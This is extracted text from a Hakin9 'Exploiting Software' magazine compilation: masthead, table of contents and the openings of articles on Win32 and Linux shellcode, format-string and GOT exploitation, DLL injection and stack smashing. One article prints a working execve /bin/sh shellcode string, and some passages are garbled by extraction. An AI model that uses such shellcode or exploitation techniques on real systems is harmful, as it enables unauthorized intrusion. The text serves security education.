EXploiting Software and SHELLCODE

Dear Readers,

team Editor in Chief: Grzegorz Tabaka [email protected] Managing Editor: Natalia Boniewicz [email protected] Editorial Advisory Board: Daniel Dieterle, Rebecca Wynn, Michael Munt, Aby Rao Proofreaders: Daniel Dieterle, Nick Baronian, Jeffrey Smith, Robert Wood, Michael Munt, Elliott Bujan, Bob Folden, Steve Hodge, Jonathan Edwards, Steven Atcheson, Mixchal Jahim

It’s been almost one year since the the first issue of Exploiting Software Hakin9 was published. Exploiting Software Bible is the effect of over ten months work and it consists of the best articles of all Exploiting Software Hakin9 issues. It covers a wide range of topics concerning stack overflow, shellcode, stack overflow, reverse engineering, exploiting client software and defense patterns. I would like to express my thanks to all without whose great assistance this issue could not emerge. Special thanks to the authors, editorial advisory board, proof readers, betatesters and graphics. It’s your work and fantastic enthusiasm that made it all possible. Enjoy the reading, Natalia Boniewicz & Hakin9 Team

Top Betatesters: Nick Baronian, Rebecca Wynn, Rodrigo Rubira Branco, Chris Brereton, Gerardo Iglesias Galvan, Jeff rey Smith, Robert Wood, Nana Onumah, Rissone Ruggero, Shayne Cardwell, Inaki Rodriguez, Bojan Alikavazovic, Arnoud Tijssen Special Thanks to the Beta testers and Proofreaders who helped us with this issue. Without their assistance there would not be a Hakin9 Expoiting Software magazine. Senior Consultant/Publisher: Paweł Marciniak CEO: Grzegorz Tabaka [email protected] Production Director: Andrzej Kuca [email protected] DTP: Ireneusz Pogroszewski Art Director: Ireneusz Pogroszewski [email protected] Publisher: Software Press Sp. z o.o. SK 02-682 Warszawa, ul. Bokserska 1 Phone: 1 917 338 3631 www.hakin9.org/en

Whilst every effort has been made to ensure the high quality of the magazine, the editors make no warranty, express or implied, concerning the results of content usage. All trade marks presented in the magazine were used only for informative purposes. All rights to trade marks presented in the magazine are reserved by the companies which own them. program To create graphs and diagrams we used by Mathematical formulas created by Design Science MathType™

DISCLAIMER!

The techniques described in our articles may only be used in private, local networks. The editors hold no responsibility for misuse of the presented techniques or consequent data loss.

4

01/2012

CONTENTS

SHELLCODE

10 Shellcode: From a Simple Bug to OS Control By Amr Thaber

The secret behind any good exploit is a reliable shellcode. The shellcode is the most important element in your exploit. Generating shellcode with automated tools only helps so much in formulating your exploit. Knowing how to create your own shellcode will help you overcome barriers that lie ahead, and that’s what this article will demonstrate.You will learn how to write a reliable shellcode on the Win32 plaform, how to bypass the obstacles that you will face in writing a win32 shellcode, and how to implement your shellcode into Metasploit.

28 Exploiting Format Strings with Python By Craig Wright

Format string attacks are not particularly new. Since their widespread public release in 2000, format string vulnerabilities have picked up in intensity as buffer overflows become less common and more widely known. From an unknown start a decade ago, they have become a common means to exploiting system applications. These vulnerabilities remain an issue as we still teach them. It is not uncommon for format string vulnerabilities to allow the attacker to view all the memory contained within a process. This is useful as it aids in locating desired variables or instructions within memory. With this knowledge, an attacker can exploit the vulnerability to successfully exploit code and even bypass control such as Address Space Layout Randomization. In this article Craig will discuss crafting attacks using python in order to attack through DPA (Direct Parameter Access) such that you can enact a 4-byte overwrite in the DTORS and GOT (Global Access Table) and prepares the reader for a follow-up article on exploiting the GOT and injecting shell code.

34 DPA Exploitation and GOTs with Python By Craig Wright

If we can write into the GOT, we can effectively redirect the execution flow of a program and allowing ourselves to gain a root shell. This article is a follow-up and second part of a look at format strings in the C and

www.hakin9.org/en

C++ programming languages; in particular, how these may be abused. The article goes on to discuss crafting attacks using Python in order to attack through DPA (Direct Parameter Access) such that you can enact a 4byte overwrite in the DTORS and GOT. This time author endeavoured to make the process of exploiting format string vulnerabilities as simple as possible for the inexperienced exploit developer. A basic knowledge of Python has been assumed as well as an understanding of the Linux operating system and how to use gdb. This starts off with detailing the use of Direct Parameter access and how this process works and then describes the Global Offset Tables in detail. You will see that using the exploitation of Direct Parameter Access (DPA) will allow us to write into the address of our choosing.

42 Starting to Write Your Own Linux Schellcode By Craig Wright

We have seen more and more people become reliant on tools such as Metasploit in the last decade. This ability to use these tools has empowered many and has created a rise in the number of people who can research software vulnerabilities. It has created more security professionals who cannot only scan a target for vulnerabilities using a tool such as Nessus, but who can complete tests involving system exploitations and hence validate the results presented to them by a scanner. But, this ends when a new application with unexpected calls or controls is found. What do we do when presented with a special case? This makes it extremely difficult for signature based systems to stop or detect shellcode created for a specific purpose and hence more likely that the tester will succeed in testing the vulnerability without other controls interfering. If we remain at this level, we will stop the lower level attacker, but fail in stopping more sophisticated attacks. You will learn how to write your own shellcode, how to fix all the nulls and how to validate your shellcode.

48 Beyond Automated Tools and Frameworks: the shellcode injection process By Craig Wright

Automated frameworks (including Metasploit) have simplified the testing and exploitation process. This of

5

CONTENTS course comes with a price. Many penetration testers have become tool jockeys with little understanding of just how software functions. This script kiddie approach to code testing does have its place. It has allowed us to drastically increase the number of people working on testing systems for vulnerabilities and in assessing the risks these pose. At the same time, if these individuals do not progress further, simply relying on the ability to leverage the efforts of others, we will hit bottlenecks in the creation of new tests and processes. This article is going to follow from previous articles as well as going into some of the fundamentals that you will need in order to understand the shellcode creation process, how to use Python as a launch platform for your shellcode and that the various system components are.

54 Understanding conditionals in shellcode By Craig Wright

This article is going to follow from previous articles as well as going into some of the fundamentals that you will need in order to understand the shellcode creation process. In this article, we are looking at extending our knowledge of assembly and shellcoding. This is a precursor to the actual injection and hooking process to follow. You will investigate how you can determine code loops, the uses of loops as well as acting as an introduction into how you can reverse engineer assembly or shellcode into a higher level language and even pseudo-code, all of which forms an essential component of creating and executing one’s own exploit successfully. By gaining a deep understanding just how code works and to know where to find the fundamentals shellcode programming language we hope to take the reader from a novice to being able to create and deploy their own shellcode and exploits.

62 Taking control, Functions to DLL injection By Craig Wright

DLL injection is one of the most common methods used by malware such as a rootkit to load it into the host’s privileged processes. Once injected, code can be inserted into functions being transmitted between the compromised code and a library function. This step is frequently followed with API hooking where the malicious code is used to vary the library function

6

calls and returns. This article is part of a monthly series designed to take the reader from a novice to being able to create and deploy their own shellcode and exploits. With this knowledge, you will learn just how easy it is for sophisticated attackers to create code that can bypass many security tools. More, armed with this knowledge you will have the ability to reverse engineer attack code and even malware allowing you to determine what the attacker was intending to launch against your system.

BUFFER OVERFLOW 68 Smashing the Stack

By Marco Balduzzi and Mariano Graziano For decades hackers have discovered and exploited the most concealed programming bugs. But how is it possible to leverage a buffer overflow to compromise software in modern operating systems? Mariano and Marco will introduce us to the basic principles of code exploitation. We will see what happens when a process is executed or terminated, and how a buffer overflow vulnerability can be leveraged to execute malicious code.

80 Smashing the Stack 2

By Marco Balduzzi and Mariano Graziano Modern operating systems come with sophisticated protection mechanisms to prevent one-click exploitations. But, how can attackers bypass such techniques to compromise remote machines all over the world? And downloading PDF documents is always a safe practice?Mariano and Marco will describe the different protection mechanisms that have been introduced in modern operating system to make exploitation more difficult. They will aslo present several popular workarounds used by attacker to bypass such techniques. Finally, they will analyze a real exploit for a Acrobat Reader’s stack-based buffer overflow.

88 Exploit a Software with Buffer Overflow Vulnerability and Bypassing Aslr Protection By Ahmed Sherif El-Demrdash

Buffer overflow is an anomaly where a program while writing data to a buffer overruns the buffer’s boundary and overwrites adjacent memory. This is a special case of violation of memory safety. It is the most dangerous vulnerability in the software world because it could allow

05/2012

CONTENTS for an exploitation for OS which include this vulnerable software. You will learn how to write your own exploitation with python programming language and bypassing ASLR protection and finally, how to run your own shellcode to control Vulnerable OS.

REVERSE ENGINEERING

98 Reversing EXE with OllyDbg By Nilesh Kumar

What is reverse engineering (RE)? Normaly, the source code is in human readable form, object files are binary files with human-readable symbols. Executables are pure binaries. When we attempt to revert a binary executable into its object form, it is called disassembly. Converting an object file into source code is called decompilation. The whole process is called reverse engineering. Nilesh illustrates the reverse engineering of a sample executable file, and how to patch it. You will learn how to reverse engineer an exe. The ultimate goal of RE is to bypass the checks to get the things done your way. The process of RE may differ person to person, and program to program.

102 A Quick “Hands On” Introduction to Packing By Alain Schneider

On Windows systems, programs are usually available in the PE file format with the EXE extension. Although this file format is quite complex, it is now well documented, so understanding how it is globally supposed to work is pretty easy and you can find a lot of programs designed to open/analyze/modify PE executables. Those which are designed to modify PE files are often called packers. In this article we will learn how to write one of them.

110 Hacking Applets: A Reverse Engineering Approach By Nilesh Kumar and Ronnie Johndas

Ronnie and Nilesh will discuss a technique that can be used to modify the applet’s Java byte code without having to recompile the applet. They will show the process of reverse engineering of an applet which does not have any kind of code obfuscation, string encryption and other code protection techniques employed. You will

www.hakin9.org/en

learn how to patch byte code and perform other kinds of manipulation in the Java class files of the applet. We will also see how to get a signed applet to run in a standalone manner.

EXPLOITING CLIENT SOFTWARE

116 Hijacking Software Updates with Evilgrade By Mourad Ben Lokhua

Almost every modern application comes with a simple, built-in update mechanism. Usually it is sensible for users to accept updates that improve the security and operation of the program. Mourad shows how to attack usersvia update systems. He also claims that software developers do not spend much time or effort on updates and secure delivery mechanisms, that’s why standard processes for updating applications make many users vulnerable.

122 Direct Object Reference or, How a Toddler Can Hack Your Web Application By Nick Nikiforakis

There is no point in denying that everyday software is steadily moving from desktop applications to Web applications. When you can check your mail, play games, create documents and file your tax report without ever leaving your browser, then you are indeed a citizen of the Web. In this era, many miscreants have changed their game. It’s easier for them to impersonate you or steal your private data from a vulnerable Web application than to take control of the Extended Instruction Pointer (EIP) register of your CPU. In this article we will investigate one type of Web application vulnerability, namely Direct Object Reference. A Direct Object Reference occurs when an identifier, used in the internal implementation of a Web application, is exposed to users. When this is done insecurely, it can lead to a lot of trouble…

128 How to Recover Passwords from a Memory Dump By Daniel Dieterle

Malware analysis is an amazing field. To be able to grab a memory dump from a live machine and then have the capabilities to pull useful information from it just amazes the

7

CONTENTS author. Can we find pertinent system settings, and even pull information from them? Were you ever curious about what could be done with a memory dump of an active computer? This article is a short demonstration on how to acquire a memory dump from a running system, and then how to use tools to not only recover the system password hashes from the memory dump, but also how to decode them.

134 Creating a Fake Wi-Fi Hotspot to Capture Connected Users Information By Roberto Saia

We can use a standard laptop to create a fake open wireless access point that allows us to capture a large amount of information about connected users; in certain environments, such as airports or meeting areas, this kind of operation can represent an enormous security threat but, on the other hand, the same approach is a powerful way to check the wireless activity in certain areas where the security is very important. An attacker can use his properly configured laptop in a large number of public places, even in an airplane, simulating the WiFi gateway used by airline and capturing personal data of connected passengers. With a little effort, anyone can create a fake Wi-Fi Hotspot and use it to gather precious information about connected users, information such as usernames, passwords, messages and so on. You see how an attacker can deceive a large number of users, and consequently capture information that enables him to commit criminal acts such as identity theft.

142 Deceiving Defenses with Nmap Camouflaged Scanning By Roberto Saia

Nmap (contraction of ‘Network Mapper’) is an opensource software designed to rapidly scan both single hosts and large networks. To perform its functionalities Nmap uses particular IP packets (raw-packets) in order to probe what hosts are active on the target network: about these hosts, it is able to discover the running services (type and version), the operating system in use (type and version); it is also able to obtain more advanced information, such as, for example, the type of firewall used on the target network. You will learn how to deceive an IDS/IPS system through a particular feature offered by Nmap software, a simple option able to trick the rules generally used in this kind of systems to detect

8

any suspect activity inside a medium/large network; the used software is the most famous network scanner in the world and the knowledge of its potentiality is a good way to improve our security policies.

150 Overriding Function Calls in Linux By Umair Manzoor

Function hooking and overriding plays a vital role in penetration test of thick client application. In this article we will discuss how shared libraries in Linux environment can be overridden with out recompiling the code. By overriding the function calls we can sniff the communication protocol, modify the communication parameters and fuzz the communication protocol.

156 Cracking Java Applications with AOP exploits (part 1) By Daniel Drozdzewski

Aspect Oriented Programming is a paradigm that aims to modularise software further by the separation of crosscutting concerns. Daniel will show us the basics of AOP and a simple, yet powerful idea behind the exploit.

160 Cracking Java Applications with AOP Exploits (part 2) By Daniel Drozdzewski

AOP has been used in the domain of Software Security before. Its use was mainly for validation, auditing and authorization purposes, which in turn improve software security as a whole. Those crosscutting concerns are being woven into the existing software after the fully functional code has been delivered. Making the process two staged, allows separating the responsibilities.In the second part of the series, Daniel will present the reader with a bit more advanced use of AOP, which will allow us to reverse engineer obfuscated Java applications. On top of that he will show a trick of password post selection, which we use to find parts of the code crucial to password processing, which in turn will allow us to switch the whole password verification off.

166 Cisco IOS Rootkits and Malware: A practical guide By Jason Nehrboss

Propagating the worm code into a new router can either be quite easy, difficult, or impossible. There are many

05/2012

CONTENTS variations of supported IOS code and hardware platforms. The author discusses the use of and demonstrates an IOS Embedded Event Manager rootkit and worm. When a router is infected it can be leveraged into a powerful malware platform. Capabilities demonstrated are network packet captures, reverse shell connections, a spam module, and a mini malware httpd server leveraged with ip address hijacking. In this article you will learn how to exploit critical network devices, network traffic traversing these devices and act as a launch point for further attacks into a network You will also learn about a self replicating IOS worm with stealth features and self defense mechanisms, all with platform independent code.

DEFENSE

180 Easy Network Security Monitoring with Security Onion By Daniel Dieterle

Hackers and the malware that they create are getting much better at evading anti-virus programs and firewalls. So how do you detect or even defend against these advanced threats? Intrusion Detection Systems monitor and analyze your network traffic for malicious threats. The problem is that they can be very difficult to configure and time consuming to install. Some take hours, days or even weeks to setup properly. The Security Onion IDS and Network Security Monitoring system changes all of that. Do you have 10 minutes? That is about how long it takes to setup and configure Security Onion – a Linux Security Distribution based on the Ubuntu (Xubuntu 10.04 actually) operating system.

186 Inspecting Https Traffic on Gateways By Kishin Fatnani

In the past, security devices inspecting application content for attack patterns, misuse or malware, had been blind to encrypted traffic and because of this, encrypted protocols such as Hypertext Transfer Protocol Secure (HTTPS) have been a safe method used by attackers to bypass security inspection. Though reverse proxies and Web Server modules have been there for long, they only inspect incoming traffic e.g. connections made to protected web servers in the organization. Inspecting outgoing traffic or traffic of connections made by users to outside world servers not protected by the device, had been on the wish lists. These days, devices come with the

www.hakin9.org/en

capability to inspect Secure Sockets Layer (SSL) based outgoing traffic, however there are some concerns by enabling such kind of inspection. In this article we cover some basics of SSL, the challenges in inspecting SSL traffic, and also see how Check Point’s HTTPS Inspection feature is able to inspect HTTPS traffic at the gateway. After reading this article you will know the pros and cons of enabling SSL inspection on a gateway.

192 Detecting Ipv6 Rogue Router Incidents Using Bro NSM By Matti Mantere

Internet Protocol version 6 (IPv6) has been a long time coming. As the protocol is making its entrance several security risks of varying criticality are known to exist. However, the amount of skilled personnel needed to assure the security of IPv6 network deployment as well as awareness of the said risks remains woefully low. As IPv6 migration slowly gains momentum, situations where administrators responsible for deployment of network equipment have very poor knowledge and nonexistent operational experience of the new protocol are unavoidable. Matti depicts one method for detecting them using open source Bro NSM. Bro Network Security Monitor (Bro NSM) is a flexible open source network analysis framework that is freely distributed under BSD license.

196 The Gentoo Hardened Project: Or How to Minimize Exploits Risks By Jesus Rivero

Gentoo’s approach to Linux is evidenced in its Phylosophy1, from there it derives the fact that optimization, flexibility and choices are the keystones of the distribution. Gentoo gives users the tools needed for them to shape their Gentoo installation to their liking and all while building and compiling software especially for their hardware architecture, not relying in pre-built binaries compiled by someone else. That is one of the reasons why you will hear, users and developers, say that Gentoo is a “meta-distribution” because the distribution provides exciting tools that allow users, using the same base system, to build highly secure servers, neat desktops, embedded solutions or even a special VDR system. Jesus will show you how to install a Gentoo Hardened system, how to choose the right profile and kernel and what are the major caveats and potential problems.

9

SHELLCODE

Shellcode: From a Simple Bug to OS Control The secret behind any good exploit is a reliable shellcode. The shellcode is the most important element in your exploit. Generating shellcode with automated tools only helps so much in formulating your exploit. Knowing how to create your own shellcode will help you overcome barriers that lie ahead, and that’s what this article will demonstrate.

I

n this article I’m going to teach you how to write a reliable shellcode on the Win32 plaform, how to bypass the obstacles that you will face in writing a win32 shellcode, and how to implement your shellcode into Metasploit.

Part 1: The Basics What’s Shellcode?

Shellcode is simply a portable native code. This code has the ability to run at any place in memory, for example, inside an exploit to connect back to the attacker or do what the attacker needs to do.

The Three Types of Shellcode

Shellcode is classified by the limitations of the environment that you are facing while crafting a program to exploit a specific vulnerability. Null Byte-Free Shellcode In this type of shellcode, you are forced to write a shellcode without any null byte. For example, while exploiting a vulnerability in a string manipulation code inside a function, C functions such as strcpy() or sprintf() work by searching for the null byte in the string (as strings are null terminated) without checking on the maximum accepted length of this string. A successful byte-free shellcode will make this application ������������������ ������������� �������������������������� ������������ �������

Figure 1. Shellcode Skeleton

10

susceptible to the buffer overflow vulnerability. If your shellcode contains a NULL byte, this byte will be interpreted as a string terminator, with the result that the program accepts the shellcode in front of the NULL byte and discards the rest. So you will have to avoid any nullbyte inside your shellcode, but you will have the ability to use just one null byte – the last byte. Alphanumeric Shellcode: In strings, it’s not common to see strange characters or Latin characters inside. In this case, some IDSs (Intrusion detection systems) detect these strings as malicious especially when they include suspicious sequence of opcodes. These systems could detect the presence of shellcode. Not only that, but also some applications filter the input string and accept only the normal characters and numbers (a-z, A-Z and 0-9). In this case, you need to write your shellcode in characters. You are forced to use only these characters and only accept bytes from 0x30 to 0x39 and from 0x40 to 0x5A and from 0x60 to 0x7A. Egg-hunting Shellcode In some vulnerabilities, you may have a very small buffer to insert your shellcode. With the off-by-one vulnerability, you are restricted to a specific size and you can’t send a shellcode bigger than that. Alternatively, you could use two buffers to put your shellcode into. One is for your real shellcode and the second is for attacking and searching the first buffer for the eggs.

Part 2: Writing Shellcode Shellcode Skeleton

Any shellcode consists of four parts: Getting the delta, getting the kernel32 imagebase, getting your APIs and the payload.

01/2012

SHELLCODE

Exploiting format Strings with Python In this article we will look at format strings in the C and C++ programming languages. In particular, how these may be abused.

T

he article progresses to discuss crafting attacks using python in order to attack through DPA (Direct Parameter Access) such that you can enact a 4-byte overwrite in the DTORS and GOT (Global Access Table) and prepares the reader for a follow-up article on exploiting the GOT and injecting shell code. We demonstrate how these simple but still often overlooked and even taught vulnerabilities can be used to read arbitrary locations from memory, write to memory and execute commands and finally to gain a shell.

Introduction

Format string attacks are not particularly new. Since their widespread public release in 2000, format string vulnerabilities have picked up in intensity as buffer overflows become less common and more widely known. From an unknown start a decade ago, they have become a common means to exploiting system applications. These vulnerabilities (We can see from 2010-06-30: KVIrc DCC Directory Traversal and Multiple Format String Vulnerabilities, that format string vulnerabilities have not disappeared and are still a valid topic today.) remain an issue as we still teach them. We will start by explaining what a format string actually is and then why they can be exploited. It is not uncommon for format string vulnerabilities to allow the attacker to view all the memory contained within a process. This is useful as it aids in locating desired variables or instructions within memory. With this knowledge, an attacker can exploit the vulnerability to successfully exploit code and even bypass control such as Address Space Layout Randomization (ASLR). When a parent process starts, the addressing for that process as well as all subsequent child process in

28

most implementations will remain static throughout the lifetime of the process. Although an attack may crash a child process, the parent process is often left intact. Consequently, attacks against child processes that cause a crash of the particular thread or fork may return useful information. This is particular true when multiple format string attacks can be leveraged against child processes that respond themselves without crashing the parent application. Many Linux implementations incorporate a processlimit in order to limit the number of re-spawns and this can help minimize the impact of the attack noted above by enforcing an RLIMIT_NPROC rlimit (resource limit) of a process through the Linux kernel. In this event, where the executable attempts to fork and a greater number of forks would come into existent than are defined by RLIMIT_NPROC processes, the fork fails. The Linux kernel module, rexFBD when installed, detects excessive forking and stops these. The end result is that memory leaks including format string vulnerabilities can act as a means of locating particular libraries and variables within a running process. The location of both stack and heap variables may be determined. From this, the attacker can discover the structures contained within a program.

What is a Format String?

Not all security people are programmers and consequently we need to start by defining what a format string is. Any format string is basically a set of special parameters that define how to display a variable number of arguments, for instance when sending a string of data to stdout. A format string essentially exists to define a variable length of arguments. Format strings are primarily known in the C family of languages but are also used by Perl, PHP, and even

01/2012

SHELLCODE

DPA Exploitation and GOTs with Python This article is a follow-up and second part of a look at format strings in the C and C++ programming languages; in particular, how these may be abused. The article goes on to discuss crafting attacks using Python in order to attack through DPA (Direct Parameter Access) such that you can enact a 4-byte overwrite in the DTORS and GOT (Global Access Table).

I

t then continues the attack by exploiting the GOT and injecting shell code. We demonstrate how these simple but still often overlooked and even generally accepted vulnerabilities can be used to read arbitrary locations from memory, write to memory, execute commands, and, finally, to gain a shell.

Introduction

In the first part of this article (presented in Hakin9 in Exploiting Software 2/2011), we discussed format string attacks. In this article we are going to extend these, beginning with DPA (Direct Parameter Access) and moving to using the GOT (Global Offset Table) to spawn a root shell. To gain a complete understanding of this process, it is recommended that part one from last month’s issue is read first. In this paper, we have endeavoured to make the process of exploiting format string vulnerabilities as simple as possible for the inexperienced exploit developer. A basic knowledge of Python has been assumed as well as an understanding of the Linux operating system and how to use gdb. This starts off with detailing the use of Direct Parameter access and how this process works and then describes the Global Offset Tables in detail. If we can write into the GOT, we can effectively redirect the execution flow of a program and allowing ourselves to gain a root shell. This process will also help when there is some form of stack protection that stops us from altering the address pointed to through EIP and redirecting it to a shellcode address. In this process, we will inject a reference in place of that which the GOT references for a selected function. Here we want to have a function that can execute system commands as substitutes to overwriting the subsequent instruction with the memory address that

34

the shellcode we wish to call. The modern protections built into nearly all operating systems have started to load the GOT in a read-only memory area. Where this has occurred, the system avoids the exploitation technique discussed in this paper to a large extent. That being said, it is possible to find systems where these protections have been disabled or older unpatched systems where the complete attacks work natively. At worst, even in a read-only system, the GOT can be read.

Direct Parameter Access

DPA allows an attacker to access arguments through the use of a $ qualifier. Just like we had to learn all of that difficult math before we moved into formulaic integrals in high school, last lesson we learned the hard way to call arguments using format strings. DPA makes format string attacks simple. It allows us to directly call the location we wish to exploit instead of having to pad attacks using %x%x%x… Basically, as we can address the argument directly, we do not have to increment the byte count until we find the memory location we wish to exploit. We showed in the last article how the use of the following syntax will allow us to access the 8th argument from the stack (%8\$x%8\$n) using the $ qualifier. Again,

Figure 1. What Happened To 100?

01/2012

�

���������� �����

��������������������������������������������������������������������� ������������������������������������������������������������������ ��������������������������������������������������������������������� ������������������������������������������������������������������ ��������������������������� � ������������������������������������������������������������������ ������������������������������������������������������������������ �������������������������������������������������������������� ������������������������������������������������������������������� �������������������������������������������������������������������� ������������������������������������������������������

���������������������� ������������������������� �������������������

SHELLCODE

Starting to Write Your Own Linux Shellcode We have seen more and more people become reliant on tools such as Metasploit in the last decade. This ability to use these tools has empowered many and has created a rise in the number of people who can research software vulnerabilities.

I

t has created more security professionals who cannot only scan a target for vulnerabilities using a tool such as Nessus, but who can complete tests involving system exploitations and hence validate the results presented to them by a scanner. But, this ends when a new application with unexpected calls or controls is found. What do we do when presented with a special case? Here we have to again return to the old art of crafting shellcode. At some stage, if we are to be more than white hat script kiddies and want to come to actually understand the application, we need to learn how to craft our own custom shellcode. In this article, we start to explain the process used to do this.

Introduction

We have seen more and more people become reliant on tools such as Metasploit in the last decade. There are valid reasons for this. Simplifying the validation process had made it far easier to check and confirm that vulnerabilities discovered using a scanner such as Nessus can actually be exploited by an attacker and are not simply another false positive. It is far too easy to report on vulnerabilities that do not exist and the ability to verify that holes can actually be exploited is an essential aspect of testing a systems security. To understand risk, we need to know the real level of exploitability. Without this, we are simply guessing. The capability to use these tools has empowered many professionals and has created a rise in the number of people who can research software vulnerabilities. It has created more security professionals who cannot only scan a target for vulnerabilities using a tool such as Nessus, but who can complete tests involving system exploitations and hence validate the results presented to them by a scanner. It is in effect a leg-up and a means

42

to quickly gain a foothold into the world of security. What needs to be remembered in this however is that it is just a foothold. To continue to grow in this industry, you need to continuously improve and learn. The ability to gain access and validate simple exploits is important, but it is only the start. This ends when a new application with unexpected calls or controls is found. What do we do when presented with a special case? Here we have to again return to the old art of crafting shellcode. In this article, we will start to look at how to write effective shellcode. POC (Proof of Concept) situations frequently require one-off solutions. In these cases the tester or researcher really needs to be able to create their own shellcode to meet the demands imposed at the time. Add to this the rapid rate at which shellcode such as that in the Metasploit Project can become obsolete and you start to see the need to create your own custom shellcode. Shellcode you create yourself will not be incorporated into any anti-malware signature databases or IDS (Intrusion detection system. This can incorporate both HIDS (or host based IDS) as well as NIDS (or network based systems)) signature match lists. More importantly, the ability to write your own shellcode allows one to learn the internal functioning of a system and the assembly calls better than any text book could do. At some stage, if we are to be more than white hat script kiddies and want to come to actually understand the application we need to learn how to craft our own custom shellcode. In this article, we start to explain the process used to do this.

Why Create shellcode?

Shellcode can be complex. To effectively write shellcode, you need to understand what the system

01/2012

SHELLCODE

Beyond Automated Tools and Frameworks: the shellcode injection process This article is going to follow from previous articles as well as going into some of the fundamentals that you will need in order to understand the shellcode creation process, how to use Python as a launch platform for your shellcode and that the various system components are.

T

his is designed as a precursor to the actual injection process where we will in a later article next month introduce the actual injection process and start to move from automatic exploit frameworks (such as Metasploit) into being able to create and execute one’s own exploit successfully. In order to do this, we need to start understanding just how code works and to know where to find the fundamentals of the Python programming language. This article will start a monthly series designed to take the reader from a novice to being able to create and deploy their own shellcode and exploits.

Introduction

Automated frameworks (including Metasploit) have simplified the testing and exploitation process. This of course comes with a price. Many penetration testers have become tool jockeys with little understanding of just how software functions. This script kiddie approach to code testing does have its place. It has allowed us to drastically increase the number of people working on testing systems for vulnerabilities and in assessing the risks these pose. At the same time, if these individuals do not progress further, simply relying on the ability to

leverage the efforts of others, we will hit bottlenecks in the creation of new tests and processes. In previous articles, we have covered a number of topics to do with the creation of shellcode. In this one we shall start to introduce the means that will allow the tester to use that code without having to rely on an external framework. Frameworks do allow for the simpler sharing of code, but also limit us at the same time. They lock the tester into selected platforms. More, attacks in the wild have and are moving further away from the automated framework and the tester needs to be able to anticipate and simulate this to remain as effective. In subsequent articles this will be expanded into the creation of standalone exploit kits. In order to do this, we also need to take a step back and explain the system and the tools we will use in more detail. To achieve this, we will start with describing the various components that are used and to providing an introduction to the Python programming language. This will also extend into a simple method to analyse shellcode using GCC such that we can come to understand what the shellcode others have created is designed to do. This is a useful

Listing 1. Shellcode sample (This sample of shellcode has been taken from Zillion (2002). This page goes into detail as to the operation of the shellcode and the reader is encouraged to step through this. The reader will �nd countless many examples online with a simple Google search and many good examples are also included within the Metasploit framework.) "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41" "\x42\x42\x42\x42";

48

01/2012

Atola Insight That’s all you need for data recovery. Atola Technology offers Atola Insight – the only data recovery device that covers the entire data recovery process: in-depth HDD diagnostics, firmware recovery, HDD duplication, and file recovery. It is like a whole data recovery Lab in one Tool. This product is the best choice for seasoned professionals as well as start-up data recovery companies.

• Case management • Real time current monitor • Firmware area backup system • Serial port and power control • Write protection switch

SHELLCODE

Taking Control, Functions to DLL injection This article is going to follow from previous articles as well as going into some of the fundamentals that you will need in order to understand the code exploitation process. In this article we look at one of the primary infection steps used to compromise a Windows host, DLL injection.

D

LL injection is one of the most common methods used by malware such as a rootkit to load it into the host’s privileged processes. Once injected, code can be inserted into functions being transmitted between the compromised code and a library function. This step is frequently followed with API hooking where the malicious code is used to vary the library function calls and returns. This article is part of a monthly series designed to take the reader from a novice to being able to create and deploy their own shellcode and exploits.

use in more detail. To achieve this, we will start with describing the various components that are used and to providing an introduction to the Python programming language. This will also extend into a simple method to analyse shellcode using GCC such that we can come to understand what the shellcode others have created is designed to do. This is a useful skill when reversing malware as well as a good way to learn from the existing code base and even to leverage some of the various tools that are freely available already.

Introduction

A DLL is a Dynamically Linked Library of executable code (Shewmaker, 2006). Code libraries are important as they allow developers to reuse common functions. It is firstly inefficient and not economical to rewrite of the same section of code over and over. More importantly, when the same code is replicated in many blocks it becomes more difficult to patch or update software. In addition, standardized libraries allow developers to reuse set functions rather than having to recode them and hence reinvent the wheel each time they develop a program. It is important to note that the best programmers make mistakes. Whenever they have to recode the same material the chances of an error increase. A DLL can reference a common function allowing the programmer to just learn the call needed rather than having to rewrite create their own. In this, the code would reference the external function using the DLL which is loaded into memory for use by the program. In this article we will be discussing DLLs are loaded into a running memory process. This is a feature of Windows and not a bug. That said, many features also lead to exploitations.

In previous articles, we have covered a number of topics to do with the creation of shellcode and assembly language. We continue with an introduction of one of the primary exploitation processes used against a Windows system. In subsequent articles this will be expanded into the creation of standalone exploit kits and in the deployment of a rootkit. In this article we look at one of the primary infection steps used to compromise a Windows host, DLL injection. This process is used by attackers and is also incorporated into automated frameworks (including Metasploit) as a part of the testing and exploitation process. DLL injection is one of the more common methods used by malware such as a rootkit to load it into the host’s privileged processes. Once injected, code can be inserted into functions being transmitted between the compromised code and a library function. This step is frequently followed with API hooking where the malicious code is used to vary the library function calls and returns. In order to do this, we also need to take a step back and explain the system and the tools we will

62

What is a DLL?

01/2012

BUFFER OVERFLOW

Smashing the Stack For decades hackers have discovered and exploited the most concealed programming bugs. But how is it possible to leverage a buffer overflow to compromise software in modern operating systems?

T

his article will introduce the reader to the basic principles of code exploitation. We will see what happens when a process is executed or terminated, and how a buffer overflow vulnerability can be leveraged to execute malicious code. Our analysis has been based on the Intel Architecture 32 bit (IA 32) as it represents the main target for hackers and worms. Our code and tools are made available in a way that the reader can reproduce our attack scenarios. Don’t miss the next Hakin9 issue, where we will analyze real vulnerabilities.

Theoretical Background

We start our journey with a small introduction on how processes, memory and registers work. A program becomes a process when it is loaded by a loader in memory and executed. In this phase, a process identifier, called PID (Process Identifier) is assigned to the process. When the loader loads the executable file, some special information that is contained in its header is read. The executable file is in fact a COFF (Common Object File Format). The COFF implementation is called Portable Executable (PE) in Windows, and Executable and Linking Format (ELF) on Linux systems. Two main sections are defined: • •

the header permits to load in RAM memory the executable file. It holds the information about the .text, the .data and the .stack sections (and .bss) the payload contains the code

• •

Data: region where static variables are saved. It corresponds to the COFF’s data section. Stack: region in which local variables, return values and parameters of the function are saved. From the perspective of this article, this is the area of interest. A fourth area is the Heap, in which dynamical variables used by the process are allocated.

In a system, any sort of operation is performed using CPU registers that serve as store units. Intel Architecture 32bit (IA32) defines four register families: • • • •

General Purpose Registers (GPRs) Segment Registers: CS (Code Segment), DS (Data Segment), ES (Extra Segment), FS, GS, SS (Stack Segment) Control Registers: EIP, CRX, ... Other: EFLAGS, etc...

